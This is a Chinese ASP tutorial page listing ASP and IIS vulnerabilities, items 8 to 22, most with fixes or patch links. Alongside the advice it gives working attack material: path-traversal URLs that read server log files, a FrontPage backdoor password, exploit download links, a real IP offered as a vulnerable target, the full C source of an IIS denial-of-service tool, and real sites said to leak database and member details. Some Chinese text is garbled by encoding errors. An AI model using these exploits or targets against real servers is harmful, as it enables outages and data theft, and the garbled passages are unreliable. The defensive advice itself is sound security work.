- Login
帳號:
密碼:
ASP MENU
線上教學
   ASP 教學
VB.NET 教學
JSP 教學
JAVA 教學
完整 ASP 教學
程式下載
   ASP 程式下載
提供 ASP 程式
程式量身訂做
   收費標準
填寫需求表
討論交流專區
   程式討論區
電腦資訊交流
工作機會
   社會人就職情報
汎亞人力銀行
大台中人力銀行
大高雄人力銀行
相關連結
   ASP 虛擬空間
ASP 相關網站
聯絡我們
   意見信箱
加入會員程式討論區線上購物回首頁
ASP 教學
ASP漏洞及安全建議(3)

8、ASP聊天室程序的漏洞
問題描述:
如果聊天室ASP程序設計不當,很容易會給他人利用來做壞事:可以踢人,穿牆,搗亂.
首先,我們看看聊天室埵酗偵罊|洞,大家看看下面這段代碼:

<html>
<head>
<body BGCOLOR="008888" TEXT="FFFFFF">
…………………………
………………
………
<form NAME="sendmsg" ACTION="chatt.asp" METHOD="POST" target="mtalk1"
OnSubmit="return chksend();">
<input type="hidden" name="username" value="測試者">******
<input type="hidden" name="sex" value="boy">********
<input type="hidden" name="message" value="">
<input type="hidden" name="a_method" value="sendtalk">
<div align="center"><center>
<table CELLSPACING="0" CELLPADDING="0"> <tr>
<td>發言: <input type="text" name="msg" size="60"> </td>
<td><input type="submit" value="發 言"> </td>
</tr>
<tr>
<td>悄悄:<input type=checkbox name=mtalk value=1>
對象:<input type="text" name="betalk" size="10">
表情:<select NAME="exp" onChange="document.sendmsg.msg.focus();documen
t.sendmsg.msg.select();" size="1">
………
……………
……………………
</form>
<form name="getout" ACTION="chatt.pl" METHOD="POST">
<input type="hidden" name="username" value="測試者">!!!!!!
<input type="hidden" name="a_method" value="getout">!!!!
<input type="submit" value="退 出"></td>
</form>
</body>
</html>
以上這段代碼是我在某個聊天室用"測試者"作代號登陸後在發言幀當下來的, 這只是一小部份,但在這一小部份代碼堶探N有兩個漏洞。
第一個漏洞
大家看看上面的代碼加上"*"號的那兩句,其中第一句中的"測試者"就是我登陸的名字,還有,第二句中的"boy"是登陸時的性別,還有再看看下面我加上"!" 號的兩句,第一句媮椄O有我登陸時的名字,這幾句都是我現在想說的兩個漏洞所在點。如果想在這個聊天室堿奰薵爾隉A只要把發言幀的代碼當下來另存,把"form"的"action"改成聊天室的地址,然後把再"*"號的第一句的“測試者”兩字改成想要的名字就可以了。也可以變換性別,只要把第二句的 "boy"改成"girl"。這就是所謂的穿牆術了。你甚至可以把它改成在線人的名字,然後發言,這樣就冒充別人的姓名談話。
第二個漏洞
踢人的漏洞就是這個了,我們看一下帶"!"號的第一句,上面有是合法用戶登陸的名字,再看第二句,他有”getout”,再加上上面還有一段"form"標籤,這段就是我們退出聊天室時的代碼,這個有什麼用呢?我們先試試看,首先還是把"form"標籤的"action"改成 聊天室的地址,不然就不知道提交給哪個傢伙了。然後把"風風"改成你想踢下去的人的名字然後單擊“退出”,那就把那個人踢出聊天室了。這個就是聊天室踢人的漏洞。
這兩個漏洞主要的原因是這兩個漏洞使服務程序不識別客戶發出的指令是不是合法用戶。 以上兩漏騙服務程序來更名發出發言,或更名退出,使得真正的使用者受害。
當然上面的程序中還有一個漏洞,輸入框沒有對HTML語句和JAVASCRIPT語句做過濾。這個問題我們在漏洞5中已有詳細分析,這奡N不談了。

問題解決或者建議:
在程序設計中讓服務程序能識別到底是哪個傢伙發出的指令就可以了,具體做法可以為每個聊天者發一個識別碼,象五筆字一樣,也可以用每個聊天者的密碼識別,也可以把聊天者的密碼隨機加密後用作識別等等 ,反正能使你的服務程序識別到底是誰發出的指令就可以了。

9、NT iss4.0_AuthChangeUrl? 漏洞
問題描述:
在NT iis4.0,當輸入如下命令時
http://someurl/_AuthChangeUrl?<font%20size=7%20color=red>你好
你看到發生了什麼嗎?<font size=7 color=red>被解釋成功
出現了紅色的放大的“你好”字
我們再來看看以下的命令:
http://someurl/_AuthChangeUrl?<img%20src=file:\\\c:\1.jpg>
上面的命令將顯示c:根目錄下的1.jpg圖片,如果1.jpg存在的話。
http://someurl/_AuthChangeUrl?<a%20href=file:///c:/install.exe>
上面的命令將下載C:根目錄下的install.exe文件。
按照這種方法還能打開對方服務器上一個已經知道的文本文件。

10、微軟開發的兩個動態庫存在後門允許用戶查看ASP文件源程序和下載整個網站
問題描述:
隨IIS和Frontpage Extention server而來的動態庫程序,存在後門,允許用戶遠程讀取asp、asa和CGI程序的源代碼。但這個動態庫要求有密碼,這個後門的密碼是: "Netscape engineers are weenies!"
程序路徑為: /_vti_bin/_vti_aut/dvwssr.dll
一般安裝了 Frontpage98的 IIS服務器都有這個路徑和文件。這個程序要求解碼後才能發揮讀取asp等源程序,有趣的是,這個密碼正是嘲弄其競爭對手Netscape的。
現提供一個有該漏洞的國外網站給安全技術人員參考:
http://62.236.90.195
關於讀取源程序,請下載這個測試程序,用法為:
[john@Linux john]$ ./dvwssr1.pl 62.236.90.195 /cqsdoc/showcode.asp
測試程序: http://www.cnns.net/exploits/nt/dvwssr1.pl

11、漏洞名稱:IIS4.0受HTTP的D.O.S攻擊漏洞
問題描述:
受影響的版本:IIS 4.0以及更早的版本
這是一個很簡單的方法.發送很多的"Host:aaaaa...aa"到IIS:
GET / HTTP/1.1
Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)
Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)
...10,000 lines
Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)

發送了象上面所寫的兩次請求後,對方的IIS在接受了這些請求後就會導致內存溢出.當然,它就不能對更多的請求作出反應。因為對方正缺乏虛擬內存,服務器也將停止運行。事後,對方不能通過重起web service來解決問題,而必須重啟服務器。

12 漏洞名稱:IIS5.0超長URL拒絕服務漏洞
問題描述:
Microsoft IIS 5.0在處理以".ida"為擴展名的URL請求時,它會有兩種結果。一個可能的結果是服務器回復"URL String too long"的信息;或類似"Cannot find the specified path" 的信息。另一種可能就是服務器端服務停止,並返回"Access Violation"信息(即成功的實現了對服務器端的拒絕服務攻擊)
當遠端攻擊者發出類似如下的請求時:
http://someurl/...[25kb of '.']...ida
服務器端會崩潰(導致拒絕服務攻擊)或返回該文件不在當前路徑的信息(暴露文件物理地址)
問題解決或者建議:
大多數情況下,站點很少使用擴展名為".ida"和".idq"的文件,可在ISAPI腳本映射中,將擴展名為".ida"和".idq"的應用程序映射刪除。

13請求不存在的擴展名為idq或ida 文件,會暴露服務器上得物理地址.
問題描述:
通過請求一個不存在的擴展名為idq或ida得文件,IIS會暴露文件在服務器上得物理地址.這樣會給攻擊者提供了不必要的信息,而且,這對攻擊一個Web站點來說,是很有價值的第一步。
測試程序:
通過請求如:
http://someurl/anything.ida
http://someurl/lunwen/anything.ida
或:
http://someurl/anything.idq
一個遠端用戶可以收到類似:'The IDQ d:\http\anything.idq could not be found'的響應。
這樣的一個響應就會讓攻擊者獲得了Web站點的物理路徑,並且還可以獲得更多的有關該站點在服務器上的組織與結構。

14、NT Index Server存在返回上級目錄的漏洞
問題描述
受影響的版本:Microsoft Index Server2.0 [WinNT4.0,WinNT 2000.0]
Index Sserver2.0是WinNT4.0 Option Pack中附帶的一個軟件的工具,其中的功能已經被WinNT 2000中的Indexing Services所包含。當與IIS結合使用時,Index Server和Indexing Services便可以在最初的環境來瀏覽Web Search的結果,它將生成一個HTML文件,其中包含了查找後所返回頁面內容的簡短引用,並將其連接至所返回的頁面[即符合查詢內容的頁面],也就是超級連接。要做到這一點,它便需要支持由webhits.dll ISAPI程序處理的.htw文件類型。這個dll允許在一個模版中使用"../"用做返回上級目錄的字符串.這樣,了解服務器文件結構的攻擊者便可以遠程的閱讀該機器上的任意文件了。
漏洞的利用:
1)您的系統中存在.htw文件
Index Server提供的這種超級連接允許Web用戶獲得一個關於他蒐尋結果的返回頁,這個頁面的名字是與CiWebHitsFile變量一起通過.htw文件的,webhits.dll這個ISAPI程序將處理這個請求,對其進行超級連接並返回該頁面。因此用戶便可以控制通過.htw文件的CiWebHits變量,請求到任何所希望獲得的信息。另外存在的一個問題便是ASP或其他腳本文件的源代碼也可以利用該方法來獲得。
上面我們說過webhits.dll後接上"../"便可以訪問到Web虛擬目錄外的文件,下面我們來看個例子:
http://somerul/iissamples/issamples/oop/qfullhit.dll?CiWebHitsFile=/../../winnt/system32/logfiles/w3svc1/ex000121.log&CiRestriction=none&CiHiliteType=Full
在瀏覽器中輸入該地址,便可以獲得該服務器上給定日期的Web日誌文件.
在系統常見的.htw樣本文件有:
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/iissamples/exair/search/qfullhit.htw
/iissamples/exair/search/qsumrhit.hw
/iishelp/iis/misc/iirturnh.htw [這個文件通常受loopback限制]
2)您的系統中不存在.htw文件
調用一個webhits.dll ISAPI程序需要通過.htw文件來完成,如果您的系統中不存在.htw文件,雖然請求一個不存在的.htw文件將失敗,但是您的仍然存在可被利用的漏洞。其中的竅門便是利用inetinfo.exe來調用webhits.dll,這樣同樣能訪問到Web虛擬目錄外的文件。但我們需要通過製作一個的特殊的URL來完成該漏洞的利用。首先我們需要一個有效的文件資源,這個文件必須是一個靜態的文件,如".htm",".html",".txt"或者".gif",".jpg"。這些文件將用作模版來被webhits.dll打開。現在我們需要獲得inetinfo.exe來利用webhits.dll,唯一可以做到這點的便是請求一個.htw文件:
http://url/default.htm.htw?CiWebHitsFile=/../../winnt/system32/logfiles/w3svc1/ex000121.log&CiRestriction=none&CiHiliteType=Full
很明顯,這個請求肯定會失敗,因為系統上不存在這個文件。但請注意,我們現在已經調用到了webhits.dll,我們只要在一個存在的文件資源後面[也就是在.htw前面]加上一串特殊的數字( %20s ),[就是在例子中default.htm後面加上這個代表空格的特殊數字],這樣我們便可以欺騙過web服務器從而達到我們的目的.由於在緩衝部分中.htw文件名字部分被刪除掉[由於%20s這個符號],所以,當請求傳送到webhits.dll的時候,便可以成功的打開該文件,並返回給客戶端,而且過程中並不要求系統中真的存在.htw文件。
問題解決和建議:
微軟已經對該問題發放了補丁:
Index Server 2.0:
Intel: http://www.microsoft.com/downloads/release.asp?ReleaseID=17727
Alpha: http://www.microsoft.com/downloads/release.asp?ReleaseID=17728
Windows 2000 Indexing Services:
Intel: http://www.microsoft.com/downloads/release.asp?ReleaseID=17726

15 繞過驗證直接進入ASP頁面。
漏洞描述:
如果用戶知道了一個ASP頁面的路徑和文件名,而這個文件又是要經過驗證才能進去的,但是用戶直接輸入這個ASP頁面的文件名,就有可能通過繞過驗證.比如:我在一些網站上這樣試過:首先關閉所有的瀏覽器,窗口,輸入:
http://someurl/system_search.asp?page=1
就樣就看到了只能系統員才能看到的頁面。當然有些人為了防止這種情況也會在system_search.asp的開頭加個判斷,比如:判斷session(“system_name”),如果不為空時就能進入,這樣上面的url請求就不能直接進入管理員頁面了。但是這種方法也有一個漏洞,如果攻擊者先用一個合法的帳號,或者在本機上生成一個session,如session(“system_name”)=”admi”,那因為session(“system_name”)不為空,這樣也能直接進入繞過密碼,直接進入管理員頁面。

解決方法:
在需要驗證的ASP頁面開頭處進行相應的處理。比如:可跟蹤上一個頁面的文件名,只有從上一頁面轉進來的會話才能讀取這個頁面。

16、IIS4.0/5.0特殊數據格式的URL請求遠程DOS攻擊
漏 洞 描 述:
當在安裝有有IIS4.0或者IIS5.0的web服務上,請求一個具有特殊數據格式的URL,會拖慢受攻擊web 服務器的響應速度,或許會使其暫時停止響應。

受影響的版本
Microsoft Internet Information Server 4.0
Microsoft Internet Information Server 5.0
漏洞測試程序如下:
http://202.96.168.51/download/exploits/iisdos.exe
源代碼如下:
http://202.96.168.51/download/exploits/iisdos.zip
測試程序:
只要打入:iisdos <***.***.**.**> 就能攻擊對方web 服務器

問題解決:
Internet Information Server 4.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20906
Internet Information Server 5.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20904
更多的信息:
http://www.microsoft.com/technet/security/bulletin/ms00-030.asp
Microsoft 安全公告MS00-021:
http://www.microsoft.com/technet/security/bulletin/fq00-030.asp
相關連接
http://www.ussrback.com

17 IIS web server DOS
漏洞描述:
默認情況下,IIS容易被拒絕服務攻擊。如果註冊表中有一個叫 "MaxClientRequestBuffer" 的鍵未被創建,針對這種NT系統的攻擊通常能奏效。 "MaxClientRequestBuffer" 這個鍵用於設置IIS允許接受的輸入量。如果 "MaxClientRequestBuffer" 設置為256(bytes),則攻擊者通過輸入大量的字符請求IIS將被限制在256字節以內。而系統的缺省設置對此不加限制,因此,利用下面的程序。可以很容易地對IIS server實行DOS攻擊:

#include <stdio.h>
#include <windows.h>
#define MAX_THREAD 666
void cng();
char *server;
char *buffer;
int port;
int counter = 0;
int current_threads = 0;
int main(int argc, char **argv)
{
WORD tequila;
WSADATA data;
int p;
DWORD tid;
HANDLE hThread[2000];
//This code is as is and sucks as it is. Won't exit correctly and a lot
of other fun things.
//That I didn't want to take the time to do. So just ctrl+c out of the
code.
//Load up cnghack.exe 3 times for charm.
printf("CNG IIS DoS.\nMarc@eEye.com\nhttp://www.eeye.com\n\"For my
beloved.\"\n");
if(argc<2){
printf("Usage: %s [server] [port]\n",argv[0]);
exit(1);
}
buffer=malloc(17500);
memset( buffer, 'A', strlen(buffer));
server=argv[1];
port=atoi(argv[2]);
tequila = MAKEWORD( 1, 1 );
printf("Attempting to start winsock... ");
if( (WSAStartup(tequila, &data)) !=0 ){
printf("failed to start winsock.\n");
exit(1);
}
else{
printf("started winsock.\n\n");
}

counter = 0;
for(p = 0 ; p < MAX_THREAD ; ++p ){
hThread[counter] = CreateThread(0,
0,
(LPTHREAD_START_ROUTINE) cng,
( void * )++counter,
0,
&tid);
}
Sleep(250);
while( current_threads )
Sleep(250);
counter = 0;
printf("Terminated Threads.\n");
while (counter < MAX_THREAD)
{
TerminateThread( hThread[counter], 0 );
++counter;
}
WSACleanup();
return 0;
}

void cng()
{
int SockFD=0, p;
struct sockaddr_in DstSAin;
char GETKILLED[]="GET / HTTP/\r\n";
int die=1;
printf("Entered CNG\n");
++current_threads;
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons((u_short)port);
DstSAin.sin_addr.s_addr=inet_addr( server );
if((SockFD = socket(AF_INET, SOCK_STREAM, 0)) < 0){
printf("Failed to create socket\n");
--current_threads;
return;
}
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
p=send(SockFD,GETKILLED,strlen(GETKILLED),0);
printf("Step 1: %i\n", p);
for(;;){
p=send(SockFD,buffer,strlen(buffer),0);
printf("P: %i\n", p);
//put in some code to check if send = -1 more then X times we drop
the loop and exit the thread
//bla bla bla i love the dirtiness of concept code.
}
}
--current_threads;
printf("Exited CNG\n");
return;
}

cnghack.c works by doing the following:
Connects to example.com
Sends: GET / HTTP/[return][buffer]

Where:
[return] is just an \r\n
[buffer] is a never ending stream of A's

攻擊結果將導致NT系統的CPU佔用率達到 100%

解決方案
運行Regedt32.exe
在:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\w3svc\parameters
增加一個值:
Value Name: MaxClientRequestBuffer
Data Type: REG_DWORD
設置為十進制
具體數值設置為你想設定的IIS允許接受的URL最大長度。
CNNS的設置為256

18、MS ODBC數據庫連接溢出導致NT/9x拒絕服務攻擊
漏 洞 描 述:
Microsoft ODBC數據庫在連接和斷開時可能存在潛在的溢出問題(Microsoft ACCESS數據庫相關)。
如果不取消連接而直接和第二個數據庫相連接,可能導致服務停止。

影響系統:
ODBC 版本: 3.510.3711.0
ODBC Access驅動版本: 3.51.1029.00
OS 版本: Windows NT 4.0 Service Pack 5, IIS 4.0 (i386)
Microsoft Office 97 Professional (MSO97.dll: 8.0.0.3507)

漏洞檢測方法如下:
ODBC 連接源名稱: miscdb
ODBC 數據庫型號: MS Access
ODBC 假設路徑: d:\data\misc.mdb

ASP代碼如下:

<%
set connVB = server.createobject("ADODB.Connection")
connVB.open "DRIVER={Microsoft Access Driver (*.mdb)}; DSN=miscdb"

%>

<html>
<body>
...lots of html removed...
<!-- We Connect to DB1 -->
<%
set connGlobal = server.createobject("ADODB.Connection")
connGlobal.Open "DSN=miscdb;User=sa"
mSQL = "arb SQL Statement"
set rsGlobal = connGlobal.execute(mSQL)
While not rsGlobal.eof
Response.Write rsGlobal("resultfrommiscdb")
rsGlobal.movenext
wend
'rsGlobal.close
'set rsGlobal = nothing
'connGlobal.close
'set connGlobal = nothing
' Note we do NOT close the connection
%>

<!-- Call the same database by means of DBQ direct file access -->
<%
set connGlobal = server.createobject("ADODB.Connection")
connGlobal.Open "DRIVER={Microsoft Access Driver (*.mdb)};
DBQ=d:\data\misc.mdb"
mSQL = "arb SQL Statement"
set rsGlobal = connGlobal.execute(mSQL)

While not rsGlobal.eof
Response.Write rsGlobal("resultfrommiscdb")
rsGlobal.movenext
wend
rsGlobal.close
set rsGlobal = nothing
connGlobal.close
set connGlobal = nothing
' Note we DO close the connection
%>

在這種情況下,IIS處理進程將會停頓,CPU使用率由於inetinfo.exe進程將達到100%。只有重新啟動計算機才能恢復。

19、ASP主頁.inc文件洩露問題
漏洞描述:
受影響的版本:任何提供ASP服務的系統
遠程:YES / 本地:YES
內容摘要:
當存在asp的主頁正在製作並沒有進行最後調試完成以前,可以被某些搜索引擎機動追加為搜索對象,如果這時候有人利用搜索引擎對這些網頁進行查找,會得到有關文件的定位,並能在瀏覽器中察看到數據庫地點和結構的細節揭示完整的源代碼。
具體操作過程是:
- 利用搜索引擎查找包含+"Microsoft VBScript 運行時刻錯誤執行搜索" +".inc ," 的關鍵字
- 搜索引擎會自動查找包含asp的包含文件(.inc)並顯示給用戶
- 利用瀏覽器觀看包含文件的源代碼,其中可能會有某些敏感信息

漏洞的利用:
例子:
- http://shopping.altavista.com/inc/lib/prep.lib
暴露數據庫連接和性質, 資源地點, 小甜餅邏輯,服務器 IP 地址
- http://www.justshop.com/SFLib/ship.inc
暴露數據庫性質
- http://www.bbclub.com:8013/includes/general.inc
暴露 cobranding
- http://www.salest.com/corporate/admin/include/jobs.inc
暴露 datafile 地點和結構
- http://www.bjsbabes.com/SFLib/design.inc
包括數據庫結構為 StoreFront 2000 暴露源代碼
- http://www.ffg.com/scripts/IsSearchEngine.inc
暴露搜索引擎記錄文件
- http://www.wcastl.com/include/functions.inc
暴露成員電子郵件地址
- http://www.wcastl.com/flat/comments.txt
暴露成員私人的注釋文件
- http://www.traveler.net/two/cookies.inc
暴露 cookie 邏輯

解決方案:
- 搜索引擎應該不索引有 asp 運行時刻錯誤的頁
- 程序員應該在網頁發佈前對其進行徹底的調試
- 安全專家需要固定 asp 包含文件以便外部的用戶不能看他們
asp 新聞組、站點提供兩個解決方案對這個漏洞進行修正,首先對 .inc 文件內容進行加密,其次也可以使用 .asp 文件代替 .inc 文件使用戶無法從瀏覽器直接觀看文件的源代碼。.inc 文件的文件名不用使用系統默認的或者有特殊含義容易被用戶猜測到的,盡量使用無規則的英文字母。

20、利用Activer server explorer可對文件進行讀寫訪問
漏洞描述:
chinaasp的Activer server explorer可以很方便的對本地文件在線查看服務器上的目錄 在線查看文件的名稱、大小、類型、修改時間,在線編輯純文本文件,如.txt、.htm、.asp、.pl、.cgi等等,直接執行服務器上的文件。
Activer server explorer要求填寫相對路徑或者絕對路徑,但是假如:有一個攻擊者把Activer server explorer上傳到目標服務器上的某個目錄,並且這個目錄支持ASP的話,那麼他就可以通過Activer server explorer修改、執行目標服務器上的文件。這種情況可以發生在一個攻擊者擁有目標NT服務器上的一個可寫目錄帳號,並且這個目錄又支持ASP。比如一些支持ASP的個人免費主頁服務器,把Activer server explorer先傳上你申請的免費主頁空間,再通過各種方法得到目標服務器的路徑,(比如可通過漏洞:“請求不存在的擴展名為idq或ida 文件,會暴露文件在服務器上的物理地址.”).或者直接在相對路徑上填”.”,一般是默認。這樣攻擊者就能任意修改,執行目標服務器上的文件,不管他對這個文件有無讀寫訪問權。


所以那些提供有ASP服務的個人主頁或者其它服務的服務器,就要加倍小心這種攻擊了。
漏洞解決方法
其實Activer server explorer就是利用了上面講的漏洞 4 filesystemobject 組件篡改下載 fat 分區上的任何文件的漏洞。
那麼我們如何才能限制用戶使用FileSystemObject對象呢?一種極端的做法是完全反註冊掉提供FileSystemObject對象的那個組件,也就是Scrrun.dll。具體的方法如下:

  在??-???狀態下面鍵入:

Regsvr32 /u c:\windows\system\scrrun.dll

(注意:在實際操作的時候要更改成為你本地的實際路徑)

  但是這樣的話,就不能使用FileSystemObject對象了,有時利用FileSystemObject對象來管理文件是很方便,有什麼辦法能兩全其美呢?

我們可以做到禁止他人非法使用FileSystemObject對象,但是我們自己仍然可以使用這個對象.
方法如下:
查找註冊表中

   HKEY_CLASSES_ROOT\Scripting.FileSystemObject 鍵值

  將其更改成為你想要的字符串(右鍵-->"重命名"),比如更改成為

   HKEY_CLASSES_ROOT\Scripting.FileSystemObject2

  這樣,在ASP就必須這樣引用這個對象了:

   Set fso = CreateObject("Scripting.FileSystemObject2")

  而不能使用:

   Set fso = CreateObject("Scripting.FileSystemObject")

  如果你使用通常的方法來調用FileSystemObject對象就會無法使用了。

  只要你不告訴別人這個更改過的對象名稱,其他人是無法使用FileSystemObject對象的。這樣,作為站點管理者我們就杜絕了他人非法使用FileSystemObject對象,而我們自己仍然可以使用這個對象來方便的實現網站在線管理等等功能了!

21 IIS4.0/IIS5.0超長文件名請求存在漏洞
漏洞描述:
受影響的版本:
Microsoft IIS 5.0
+ Microsoft Windows NT 2000
Microsoft IIS 4.0
+ Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.5
- Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.0
- Microsoft Windows NT 4.0

當在一個已知的文件名後加230個"%20"再加個.htr,會使安裝有Microsoft IIS 4.0/5.0洩漏該文件的內容。這是由ISM.dll映射的.htr文件引起的.比如:
http://target/filename%20<重複230次>.htr
這種請求只有當.htr請求是第一次調用或者ISM.dll第一次裝載進內存,才能起作用。

解決方法:

安裝補丁

Microsoft IIS 5.0:
http://download.microsoft.com/download/win2000platform/Patch/Q249599/NT5/EN-US/Q249599_W2K_SP1_X86_en.EXE

Microsoft IIS 4.0:
http://download.microsoft.com/download/iis40/Patch/Q260838/NT4ALPHA/EN-US/ismpst4i.exe


22 ASP編輯器會自動備份asp文件,會被下載的漏洞

漏洞描述:
   在有些編輯asp程序的工具,當創建或者修改一個asp文件時,編輯器自動創建一個備份文件,比如:UltraEdit就會備份一個..bak文件,如你創建或者修改了some.asp,編輯器自動生成一個叫some.asp.bak文件,如果你沒有刪除這個bak文件,攻擊有可以直接下載some.asp.bak文件,這樣some.asp的源程序就會給下載。




頂端
本網頁最佳瀏覽模式為:瀏覽器 IE4.0 以上    解析度: 800 x 600
Copyright © 2000-2020 COOLASP All Rights Reserved